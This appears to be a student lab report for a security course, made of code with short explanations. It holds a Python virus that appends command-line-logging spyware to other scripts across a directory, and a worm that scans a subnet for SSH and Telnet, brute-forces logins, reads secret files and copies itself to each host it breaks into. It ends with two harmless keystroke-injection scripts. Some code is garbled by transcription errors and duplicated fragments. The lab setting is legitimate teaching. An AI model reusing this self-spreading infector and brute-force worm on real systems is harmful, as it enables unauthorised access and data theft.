Karina Jadia | 172.16.50.127 Jeremy Voegeli | 172.16.50.143

all videos: https://drive.google.com/drive/folders/1-AfK1InOrMWQZDXQTI65X891VLYTTUzh

Q1:

Karina's approval code: 7LI02O Jeremy's approval code: PBOZ3D

**Part A** - This goes through the directory and if the file name ends with .py, it adds it to a list and then writes that list into a file.

```
import os
DIRECTORY = '/home/cse/Lab2/Solutions'
def make list(directory):
 pythons = []
 for file in os.listdir(directory):
   if file[-3:] == ".py":
     pythons.append(file)
 return pythons
def main():
 python files = make list(DIRECTORY)
 output filename = "files.txt"
 with open (output filename, 'w') as output file:
   for file in python files:
     output file.write(file + '\n')
if __name__ == "__main__":
 main()
```

<u>Part B</u> - This one takes a file, checks if it exists, checks if it's a script, checks if it doesn't have the comment # karinafied (which means it's been infected already), and if all those conditions are met, it runs the spyware. The spyware will write code into the file so that next time the infected python file is called, it will save the command written on the terminal into a file called 'Q1B.out'

```
import os
import sys

DIRECTORY = '/home/cse/Lab2/Solutions'
INFECTED = '# karinafied'

def script(f): # checks if python file is a script
  with open(f, 'r') as file:
    content = file.read()
```

```
return "if __name__ == '__main__':" in content or 'if __name__ == "__main__":' in
cont.ent.
def infected(f): # checks if file is infected (contains virus code)
 with open(f, 'r') as file:
   content = file.read()
   return INFECTED in content
def spyware(f): # writes spy code into file
 with open(f, 'a') as file:
   file.write('\n\n')
   file.write(" # karinafied\n")
   file.write(" import sys\n")
   file.write(" command line = ' '.join(sys.argv)\n")
   file.write(" with open('Q1B.out', 'a') as output_file:\n")
    file.write("
                  output file.write(command line + '\\n')")
def main(): # does the spy stuff
 if len(sys.argv) != 2:
   print("format: python3 Q1B.py <file.py>")
   sys.exit(1)
 f = sys.arqv[1]
 if not os.path.exists(f):
   print(f"File '{f}' does not exist.")
   sys.exit(1)
 if not script(f):
   print(f"'{f}' is not a script")
   sys.exit(1)
 if infected(f):
   print(f"'{f}' is already infected")
   sys.exit(1)
 spyware(f)
 print(f"spyware successfully injected into '{f}'")
if __name__ == "__main__":
 main()
```

<u>Part C</u> - This one takes code from Q1A and Q1B to go through all files in its directory and make a list of all python script files. It then tests and injects the payload into all uninfected files (using the same functionality from Q1B of testing if it has a specific comment). The payload is in the form of a helper text file that I have pasted below the code, highlighted in black.

```
import os
import sys
```

```
DIRECTORY = '/home/cse/Lab2/Solutions/test'
INFECTED = '# officially infected'
def make list(directory): # makes list of python files
 pythons = []
 for file in os.listdir(directory):
   if file[-3:] == ".py":
     pythons.append(file)
 return pythons
def script(f): # checks if python file is a script
 with open(f, 'r') as file:
   content = file.read()
   return "if __name__ == '__main__':" in content or 'if __name__ == "__main__":' in
content
def infected(f): # checks if file is infected (contains virus code)
 with open(f, 'r') as file:
   content = file.read()
   return INFECTED in content
def spyware(f): # writes spy code into file
 with open('test.txt', 'r') as file:
   content = file.read()
 with open(f, 'a') as file:
   file.write('\n\n')
   file.write(f" {INFECTED}\n")
   file.write(" import sys\n")
   file.write(" import os\n")
   file.write(" command line = ' '.join(sys.argv)\n")
   file.write(" with open('Q1C.out', 'a') as output file:\n")
    file.write(" output_file.write(command_line + '\\n')\n")
   file.write(content)
def everything(): # does the spy stuff
 python files = make list(DIRECTORY)
 for f in python files:
   if not os.path.exists(f):
     print(f"'{f}' does not exist.")
   elif not script(f):
     print(f"'{f}' is not a script")
   elif infected(f):
     print(f"'{f}' is already infected")
   else:
     spyware(f)
      print(f"spyware successfully injected into '{f}'")
```

```
if __name__ == "__main__":
    everything()
```

```
DIRECTORY = os.getcwd()
 pythons = []
   if file[-3:] == ".py":
     pythons.append(file)
 return pythons
def script(f): # checks if python file is a script
 with open(f, 'r') as file:
   content = file.read()
 with open(f, 'r') as file:
    content = file.read()
    return INFECTED in content
def spyware(f): # writes spy code into file
 with open('Q1Chelper.txt', 'r') as file:
 with open(f, 'a') as file:
    file.write(content)
def everything(): # does the spy stuff
 python_files = make_list(DIRECTORY)
 for f in python files:
```

```
print(f"'{f}' does not exist.")

elif not script(f):
    print(f"'{f}' is not a script")

elif infected(f):
    print(f"'{f}' is already infected")

else:
    spyware(f)
    print(f"spyware successfully injected into '{f}'")

everything()
```

Karina's approval code: HWL0DU

<u>Code</u> - First, this code tests every possible IP address and saves the open portals by writing them into files. If it's successful, depending on whether it's open with port 22 or 23, it will save it to the SSH or Telnet file. This is so that when I rerun the code, I can just take the open IP addresses from the files instead of having to test every IP address every time. Then, it will take the successful IP addresses for SSH and use paramiko to test every username and password given on every open SSH portal and save the secrets to Q2secrets. Similarly, it will test every IP address for Telnet against every username and password combination and save the secrets to Q2secrets.

```
import paramiko
import telnetlib
import socket
import os
import time
DIRECTORY = '/home/cse/Lab2/Solutions'
def is_port_open(host, port): # checks if portal is open
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.settimeout(1)
 result = sock.connect ex((host, port))
 sock.close()
 return result == 0
def sshs and telnets():# checks every IP address and adds it to files
 sshs, tels = [], []
 for i in range (0, 256):
   host = f"172.16.48.{i}" # every IP address
   print(f'testing {host}')
   if is port open(host, 22): # check SSH port
     with open("/home/cse/Lab2/sshs.txt") as f:
       f.write(f'{host}\n')
     sshs.append(host)
     print(f'success: {host} is an open ssh port')
   if is_port_open(host, 23): # check telnet port
     with open("/home/cse/Lab2/tels.txt") as f:
        f.write(f'{host}\n')
     tels.append(host)
     print(f'success: {host} is an open telnet port')
 return sshs, tels
if name == " main ":
  # def sshs and telnets() only needs to run once
```

```
# the usernames and passwords
with open("/home/cse/Lab2/Q2pwd") as f:
 pwds = [line.rstrip('\n') for line in f]
f.close()
# the ip addresses for sshing
with open("/home/cse/Lab2/Solutions/sshs.txt") as f:
 sshs = [line.rstrip('\n') for line in f]
f.close()
# the ip addresses for telnetting
with open("/home/cse/Lab2/Solutions/telnets.txt") as f:
 tels = [line.rstrip('\n') for line in f]
f.close()
# telnet
for host in tels:
 for i in pwds:
   users = i.split()
   u = users[0]
   p = users[1]
    try:
     print(f'testing {host} with {u} {p}')
     tn = telnetlib.Telnet(host, timeout = 0.5)
      tn.read until(b'cse3140-HVM-domU login: ')
      tn.write(u.encode('ascii') + b'\n')
      tn.read until(b'Password: ')
      tn.write(p.encode('ascii') + b'\n')
      if b'Welcome' in tn.read_until(b'Welcome', timeout = 0.5):
       print(f'success: found {u} {p}')
        tn.read until(b'$')
        tn.write(b'cat Q2secret\n')
        tn.read until(b'\n')
        f = open('Q2secrets', 'a')
        f.write(tn.read until(b'\n').decode('ascii'))
        f.close()
        tn.read until(b'$')
        f = open('Q2worm.py', 'r')
        tn.write(b'echo \x27')
        tn.write(f.read().replace('\x5c', '\x5c\x5c').encode('ascii'))
        tn.write(b'\x27 > Q2worm.py\n')
        tn.read_until(b'$')
        tn.write(b'exit\n')
        tn.close()
    except socket.timeout:
     print('socket timeout')
     break
    except EOFError:
     print('EOF error')
     break
```

```
except ConnectionRefusedError:
       print('connection refused error')
      except TimeoutError:
       print('timeout timeout')
       break
      except paramiko.SSHException:
       print('SSH exception')
       pass
 # ssh
 client = paramiko.client.SSHClient()
 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 for host in sshs:
   for i in pwds:
     x = i.split()
     u = x[0]
     p = x[1]
     trv:
       print(f'testing {host} with {u} {p}')
       client.connect(host, username = u, password = p, timeout = 2, banner timeout =
2)
       print(f'found {u} {p}')
        _in, _out, _err = client.exec_command('cat Q2secret')
        f = open('/home/cse/Lab2/Solutions/Q2secrets', 'a')
       f.write( out.read().decode())
        f.close()
        f = open('Q2worm.py', 'r')
        _in, _out, _err = client.exec_command('cat > Q2worm.py')
        _in.write(f.read())
       _in.close()
      except paramiko.ssh exception.NoValidConnectionsError:
      except socket.timeout:
       break
      except TimeoutError:
      except paramiko.SSHException:
```

Secrets:

1 XyQjP986Ym 2 23npgpmGxo 3 vN9MdPQJMB

ENTER

Karina's approval code: 5A4G1T

**<u>Code</u>** - It goes in, opens notepad, writes a keysmash into the notepad, saves it, opens the terminal, and then outputs the keysmash from the notepad.

```
DELAY 1000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 1000
STRING @echo off
ENTER
STRING echo STghdsufhe
ENTER
STRING echo STghdsufhe
STRING pause
DELAY 500
CTRL s
DELAY 500
STRING C:\Users\kaj21012\Desktop\echo_names.bat
DELAY 500
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 1000
STRING cmd
DELAY 1000
ENTER
DELAY 1000
STRING cd Desktop
DELAY 500
ENTER
DELAY 500
STRING echo_names.bat
DELAY 1000
ENTER
DELAY 1000
STRING q
DELAY 500
```

Karina's approval code: Y54XXD

**<u>Code</u>** - It goes in, opens notepad, writes python code to print 'hello, world!' saves it as a python file, opens the terminal, and then runs the python file.

```
GUI r
DELAY 1000
STRING notepad.exe
DELAY 1000
CONTROL n
DELAY 1000
STRING print('hello, world!')
DELAY 10000
CTRL s
DELAY 1000
STRING HelloWorld.py
DELAY 10000
TAB
DELAY 1000
DOWNARROW
DELAY 1000
DOWNARROW
DELAY 1000
TAB
DELAY 1000
TAB
DELAY 1000
DELAY 1000
TAB
DELAY 1000
TAB
DELAY 1000
TAB
DELAY 1000
ENTER
DELAY 10000
STRING C:\Users\kaj21012
ENTER
DELAY 1000
ENTER
DELAY 1000
TAB
TAB
TAB
TAB
TAB
TAB
TAB
```

TAB

ENTER

DELAY 1000

GUI r

DELAY 1000

STRING CMD

ENTER

DELAY 1000

STRING cd C:\Users\kaj21012

DELAY 5000

ENTER

DELAY 1000

STRING python HelloWorld.py

DELAY 1000

ENTER